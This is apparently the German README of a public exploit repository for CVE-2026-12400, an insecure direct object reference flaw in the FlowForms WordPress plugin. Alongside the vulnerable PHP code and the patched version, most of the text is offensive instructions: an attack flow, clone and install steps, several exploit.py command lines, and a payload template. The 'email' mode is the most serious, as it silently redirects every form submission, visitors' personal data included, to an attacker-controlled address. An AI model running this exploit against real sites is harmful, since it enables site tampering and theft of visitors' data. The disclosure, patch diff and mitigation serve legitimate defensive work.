
Python-Exploit für CVE-2026-12400, eine IDOR-Schwachstelle im FlowForms WordPress-Plugin, die es authentifizierten Beitragenden ermöglicht, beliebige Formulare zu ändern und E-Mail-Benachrichtigungen zu kapern.
Authentifiziert (Contributor+) Insecure Direct Object Reference zur beliebigen Formularänderung in FlowForms ≤ 1.1.1
| Eigenschaft | Wert |
|---|---|
| CVE-ID | CVE-2026-12400 |
| CVSS-Bewertung | 4.3 — Mittel |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Autorisierungsumgehung durch benutzergesteuerten Schlüssel) |
| Produkt | FlowForms — WordPress Conversational Form Builder Plugin |
| Betroffen | Alle Versionen bis einschließlich 1.1.1 |
| Behoben in | Behoben in 1.1.2 |
| Forscher | Phantom Hat |
Vollständige White-Box-Fallstudie mit Quellcodeanalyse, Eingabeflussverfolgung und Patch-Diffing:
FlowForms stellt zwei REST-API-Endpunkte unter dem Namensraum flowforms/v1 bereit, die anfällig sind:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Beide akzeptieren eine benutzergesteuerte {id} im URL-Pfad und ändern die Daten des Zielformulars — Name, Inhalt, Layout, Weiterleitungs-URL und E-Mail-Benachrichtigungsempfänger.
Beide anfälligen Routenregistrierungen teilen denselben fehlerhaften permission_callback:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts ist eine Fähigkeit, die Contributors besitzen. Der Parameter {id} wird niemals auf den Besitz des anfordernden Benutzers überprüft — jeder authentifizierte Benutzer kann jede Formular-ID auf der Website angreifen.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Als Contributor authentifizieren
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) REST-Nonce abgreifen
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Veröffentlichte Formulare aufzählen
│<─ HTTP 200 ───────────────────────│ (jedes zugängliche Formular ist ein Ziel)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Formularnamen/-inhalt überschreiben
│ with attacker payload ─────>│ ← keine Besitzerprüfung
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) E-Mail-Benachrichtigungen kapern
│ /settings ─────────────────>│ ← Angreifer erhält alle
│<─ { "success": true } ────────────│ zukünftigen Formulareinsendungen
│ │
│ Alle 3 Angriffsvektoren bestätigt │ (5) Name ✔ Inhalt ✔ E-Mail ✔
Der email-Modus ist am kritischsten. Nach dem Kapern wird jede Einsendung des Kontaktformulars des Opfers — einschließlich personenbezogener Daten der Besucher, Nachrichten und Kontaktdaten — still an die vom Angreifer kontrollierte Adresse weitergeleitet. Der Administrator der Website sieht keinen Hinweis auf die Änderung.
Contributor auf der Zielseitegit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Jedes Formular in vom Angreifer kontrollierten Inhalt umbenennen:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Formularlayout, Bildschirme, Weiterleitungs-URL und Hintergrundbilder überschreiben:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Alle zukünftigen Benachrichtigungen über Formulareinsendungen an eine vom Angreifer kontrollierte Adresse umleiten:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
Die JSON-Payload-Vorlagen (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) sind am Anfang des Skripts definiert. Bearbeiten Sie sie vor dem Ausführen, um den Angriffsinhalt anzupassen — ändern Sie die Benachrichtigungs-E-Mail-Adresse, die Weiterleitungs-URL, das Hintergrundbild, den Formulartitel usw.
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
Der Exploit führt drei automatisierte Schritte aus:
Schritt 1 — Authentifizierung
Meldet sich als Angreifer (Contributor) an und holt eine gültige REST-API-Nonce von wp-admin/post-new.php.
Schritt 2 — Formulare aufzählen
Scannt GET /flowform/{id} über den angegebenen ID-Bereich. IDs, die HTTP 200 zurückgeben, werden als zugängliche Ziele gesammelt — dies sind veröffentlichte Formulare, die jedem Benutzer auf der Website gehören, einschließlich Administratoren.
Schritt 3 — Exploit Sendet je nach ausgewähltem Modus die entsprechende Payload an den ungeschützten REST-Endpunkt:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsDer Server akzeptiert die Anfrage und wendet die Änderung ohne Besitzerprüfung an.
| Aktion | Details |
|---|---|
| Patch | Ersetzen Sie die generische edit_posts-Prüfung auf beiden Endpunkten durch — die Bindung der Fähigkeitsprüfung an das spezifische Beitragsobjekt erzwingt die WordPress-Besitzerregeln |
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Polished exploit with rich UI (3 modes)
├── requirements.txt # Python dependencies
└── README.md # This file
Dieses Tool wird nur für autorisierte Sicherheitstests und zu Bildungsforschungszwecken bereitgestellt. Unbefugter Zugriff auf Computersysteme ist nach geltendem Recht weltweit illegal. Der Autor übernimmt keine Haftung für Missbrauch dieser Software. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.
Phantom Hat — Unabhängiger Sicherheitsforscher
Diese Forschung wurde im Rahmen einer verantwortungsvollen Offenlegung von Schwachstellen durchgeführt.
| Modus | Endpunkt | Auswirkung |
|---|
name | /forms/{id} | Jedes Formular umbenennen — Vandalismus, Social Engineering |
content | /forms/{id} | Layout, Begrüßungs-/Dankesseiten, Weiterleitungs-URL überschreiben |
email | /forms/{id}/settings | E-Mail-Benachrichtigung kapern — still alle Formulareinsendungen erhalten |
| Flag | Kurzform | Beschreibung | Erforderlich |
|---|
--url | -u | Ziel-WordPress-URL | ✅ |
--user | WordPress-Benutzername (Contributor+) | ✅ | |
--password | WordPress-Passwort | ✅ | |
--id-start | -i | Startformular-ID für die Aufzählung | ✅ |
--num-forms | -n | Anzahl der aufzuzählenden Formular-IDs | ✅ |
--exploit | Angriffsmodus: name / content / email | ✅ | |
--proxy | -p | Proxy-URL (z.B. http://127.0.0.1:8080) | ❌ |
current_user_can('edit_post', $form_id)| Abschwächung | Bis zum Patch schränken Sie die Rollen Contributor und Author ein, wenn das Plugin aktiv ist |